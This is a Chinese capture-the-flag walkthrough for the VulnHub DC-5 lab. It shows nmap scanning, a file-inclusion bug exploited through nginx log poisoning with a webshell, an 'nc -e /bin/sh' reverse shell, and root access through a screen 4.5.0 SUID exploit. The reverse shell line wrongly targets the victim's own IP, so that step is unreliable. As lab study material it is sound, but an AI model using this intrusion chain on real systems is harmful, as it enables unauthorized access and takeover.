DC-5靶机下载地址: https://download.vulnhub.com/dc/DC-5.zip
目标
本机IP:192.168.118.128
靶机IP:192.168.118.0/24
信息收集
扫描存活主机,扫描端口,扫描服务
第一步使用nmap扫描出目标IP为:192.168.118.142
nmap -sP 192.168.118.0/24
nmap -p- 192.168.118.142
nmap -sV -A 192.168.118.142
这里发现其开放了80端口和111端口
查看web服务,访问http://192.168.118.142
访问网站中各个网页发现/contact.php是一个留言窗口,随便上传点东西自动跳转到/thankyou.php
上传多次发现,页面下方的时间会自动改变
使用whatweb查看网站信息
whatweb http://192.168.118.142
使用dirsraech扫描目录
dirsearch -u http://192.168.118.142
文件包含
访问 /footer.php,发现里面有一个时间,不断刷新,里面的时间也不段刷新,而且这个时间就前面我们在 /thankyou.php 看到的那个时间刷新
这里猜测在thankyou.php文件中包含footer.php文件,猜测存在着文件包含漏洞
这里在url后面拼接文件,发现有相应回显,确定其存在文件包含漏洞
前面已经知道该网站使用的是nginx1.6.2版本,它的日志会被记录在/var/log/nginx/error.log 或 /var/log/nginx/access.log,我们尝试将木马上传
直接在url中拼接一句话木马发现失败,查看发现是'<' '>'符号被编码
使用burp抓取数据包上传木马
查看日志记录:http://192.168.118.142/thankyou.php?file=/var/log/nginx/error.log,木马是被加载进去了
使用蚁剑连接,这里可能会失败,多连接几次,或者尝试更换一句话木马连接
反弹shell
nc -lvvp 6666
nc -e /bin/sh 192.168.118.142 6666
完成以后不是稳定shell,上传脚本升级为交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
查询一下当前的版本信息
查询一下寻找有SUID权限的的文件,不显示其他的错误信息
find / -perm -4000 2>/dev/null
这里发现一个特殊文件,使用 searchsploit(kali自带的漏洞库)搜索 screen 4.5.0 的相关信息
看看此漏洞信息
提权
按照漏洞脚本的提示,我们来创建文件
第一步在桌面创建一个文件夹存放三个部分的脚本
使用命令vim创建第一个libhax.c,将第一部分内容写入到里面
然后编译这个脚本
gcc -fPIC -shared -ldl -o libhax.so libhax.c
使用vim命令创建第二个rootshell.c。将第二部分内容写入里面
再编译
gcc -o rootshell rootshell.c
最后一个部分dc5.sh
删除编译前的文件,最后保留如下三个文件
使用中国蚁剑将上述三个文件直接上传到靶机的 /tmp 目录下
回到kali反弹的shell,进入 /tmp 目录下,给dc5.sh权限,然后运行他
chmod 777 dc5.sh
./dc5.sh
flag
提权成功,最后在/root目录下成功找到flag